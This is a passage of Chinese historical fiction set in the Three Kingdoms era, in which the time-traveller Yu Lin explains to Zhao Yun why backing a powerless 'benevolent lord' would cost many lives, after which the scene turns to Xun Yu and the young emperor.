若这二位势力主表现出嗜杀成性、反复屠城的疯子特质的话,他更是一步都不会靠近的。 好在事实似乎并非如此:至少在最近几年里,两人都未再重复大开杀戒之事。 想到这里,虞临也感到有些可惜。 他来的时间点,实在有些晚了。 诸侯群立,大势更是已经基本定下,不强行做过多干涉的话,逐鹿胜者大概率只会在袁曹之间产生。 要在大势将定的目前状况下,将一位至今还未拥有自己势力、一穷二白的“仁君”扶上高位,再赌他能否做到永矢弗谖,这过程注定坎坷冗长,且沾满血腥。 那无数场艰辛困苦的战役打下来,造成的伤亡人数只会远超昔日彭城与黑山屯壁。 赵云喃喃道:“竟是如此。” 这样的言论……真是务实得,直白得,叫人闻所未闻! 赵云深受震撼,一时间只剩哑然。 虞临也贴心地没有催促。 见赵云的心情还没平复,他就随手找了些杂事做做,打发时间。 心神不宁的,远不止赵云一人。 留镇许都的尚书令荀彧,在今日的课程结束后,亦敏锐地察觉出年轻天子的心不在焉。